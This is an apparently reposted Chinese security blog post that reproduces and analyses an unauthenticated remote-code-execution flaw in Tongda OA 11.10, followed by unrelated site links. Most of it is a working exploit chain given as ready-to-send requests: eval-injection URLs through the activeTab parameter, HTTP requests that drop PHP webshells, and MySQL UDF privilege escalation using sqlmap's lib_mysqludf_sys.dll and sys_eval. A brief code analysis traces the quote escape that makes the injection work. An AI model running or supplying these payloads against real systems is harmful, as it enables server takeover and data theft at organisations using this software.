当前位置: 首页 > news >正文

本地网站源码wordpress获取所有文章列表

本地网站源码,wordpress获取所有文章列表,注册域名后如何建立网站,山东省建设八大员考试网站漏洞简介 之前也对通达 oa 做过比较具体的分析和漏洞挖掘,前几天看到通达 oa 11.10 存在未授权任意文件上传漏洞,于是也打算对此进行复现和分析。 环境搭建 https://www.tongda2000.com/download/p2019.php 下载地址 :https://cdndown.tongda…

漏洞简介

之前也对通达 oa 做过比较具体的分析和漏洞挖掘,前几天看到通达 oa 11.10 存在未授权任意文件上传漏洞,于是也打算对此进行复现和分析。

环境搭建

https://www.tongda2000.com/download/p2019.php

下载地址 :https://cdndown.tongda2000.com/oa/2019/TDOA11.10.exe

995a70dbca3274e813fb25dfd40e5852.png

查看版本信息

4456f6e23ae634f3dda002018e7f755c.png

漏洞复现

利用方式一

http://192.168.222.128/general/appbuilder/web/portal/gateway/getdata?activeTab=%E5%27%19,1%3D%3Eeval($_POST[c]))%3B/*&id=19&module=Carouselimage
98f918a36fe1d9bf0273a25a0f9a2a87.png

利用方式二

无法直接写入带有变量的 php 文件

所以首先利用 无参 webshell

<?php @eval(next(getallheaders()));
a530dc1c7c2942c622a15ec3a2b4dc30.png
GET /general/appbuilder/web/portal/gateway/getdata?activeTab=%e5%27,1%3d%3Efwrite(fopen(%22C:/MYOA/webroot/general/1.php%22,%22w+%22),%22%3C?php%20eval(next(getallheaders()));%22))%3b/*&id=266&module=Carouselimage HTTP/1.1
Host: 192.168.222.128
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
9e03e56364be72fabcc59bd5f2de4648.png

上传成功后再利用第一次生成的恶意文件再生成文件

GET /general/test.php HTTP/1.1
Host: 192.168.121.147:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: file_put_contents('test1.php','<?php @eval($_REQUEST[1]);');
Content-Length: 28Upgrade-Insecure-Requests: 1
923cffd7cd73a345572ccc582d4290dd.png 8d939416a6823ec1e2cfb1be5ec6cb5c.png

但是无法直接直接命令,这是因为权限过低的原因 所以想要进一步的操作,就需要提权

8b1cce2ab7a45a97f4e74ae93ce2a4ba.png

通过查看配置文件看到 mysql 数据库的密码

71de485a2b4da153e230737bb9f7b348.png

利用蚁剑连接数据库

d4322f81a42a6b307327f57072a7c88d.png

查看 mysql 的版本

Mysql版本提权dll存放位置
>5.1mysql根路径(select @@basedir)下/lib/plugin/
<5.1系统目录c:\windows\system32下

SqlMap 中集成了对应的提权文件,不过需要先进行解密操作

udf.dll的是经过编码运算的,所以需要有一个解密脚本,在这个路径下

sqlmap-master\extra\cloak

对应的 dll 文件路径

sqlmap-master\data\udf\mysql\windows\64

执行解码操作

cloak.py -d -i sqlmap-master\data\udf\mysql\windows\64\lib_mysqludf_sys.dll_

然后将解码好的文件上传到 mysql/lib/plugin/ 路径下

5863c3a2679d39e5c4c740e5bfe914c2.png
create function sys_eval returns string soname 'lib_mysqludf_sys.dll';
select sys_eval("whoami");
89f75529ed82f5a00c7c3345dc7a9027.png

漏洞分析

general\appbuilder\modules\portal\controllers\GatewayController.php#actionGetdata

c4c5c5cc484c1d4c2b76677ccb491b4e.png

首先判断是否存在参数 id 之后根据 module 的值依次执行 GetData与toUTF8方法

general\appbuilder\modules\portal\models\PortalComponent.php#GetData

4ac8d2393dda4b331dac850008051037.png

根据 id 查询,返回相对对应的数值 $activeTab 的值是从外部获取的

根据不同的 $module 调用不同的get_data 方法

general\appbuilder\modules\portal\components\AppDesignComponents.php#data_analysis

61f4faa7418ad52dab898c98a1a30555.png

general\appbuilder\modules\appdesign\models\AppUtils.php#toUTF8

354b5fe321f24100b441f1b73f45287a.png

这里有一点类似于宽字节注入,利用类型的转换,使得传入的单引号转移后又被编码转换成汉字,最终使得单引号逃逸出来。最后实现命令执行。

原创稿件征集

征集原创技术文章中,欢迎投递

投稿邮箱:edu@antvsion.com

文章类型:黑客极客技术、信息安全热点安全研究分析等安全相关

通过审核并发布能收获200-800元不等的稿酬。

更多详情,点我查看!

3d76afb3ddafda2c3772f20b47f2beef.gif

靶场实操,戳“阅读原文“

http://www.yayakq.cn/news/78450/

相关文章:

  • 做微课的网站有哪些方面wordpress小图标大全
  • 网站开发人员篡改客户数据建设一个百度百科类网站
  • 做个外贸的网站不懂英语咋做广州网站提升排名
  • 高碑店网站建设价格网站推广新手入门
  • 怎么做企业网站排名创手机网站
  • 宁波网站开发制作微网站 底部导航菜单
  • 做网站要的图片斗鱼全国建设项目验收信息网站
  • 滕州市建设网站网站代码字体变大
  • 国际站wap端流量合肥经开区网络推广的公司
  • 广东省建设安全卡查询网站南京高端定制网站建设
  • 网站建设需要什么技术安卓手机网站源码下载
  • 吕梁网站建设西部数码域名备案
  • 山西城乡和建设厅网站首页wordpress型营销
  • 男女做那个的的视频网站企业网站建设专业
  • 获取网站访客qq号小程序定制开发和模板有什么区别
  • 咸阳哪里做网站青岛缤纷网络科技有限公司
  • asp双语网站后台怎么用加强司法机关网站建设
  • wordpress免费自适应主题seo站长工具推广平台
  • 电子商务网站建设有哪些知识点企业邮箱是什么?
  • 网站制作易捷网络html网站后台管理系统
  • 专业定制网站建设智能优化wordpress站标签也打不开
  • 服饰 企业 网站建设wordpress termgroup
  • dz论坛可以做招聘网站百度搜索引擎工作原理
  • 局域网网站建设教程视频解析wordpress
  • 做网站接活犯法吗母婴网站的功能设计
  • 新蔡哪有做网站建设的南昌门户网站建设
  • 恩施网站开发网站收录大幅度下降
  • 建设了湛江市志愿服务网站上海传媒公司李健
  • 深圳 网站建设公最近的热点新闻
  • 网站后台 登录界面模板 远吗html做网站头部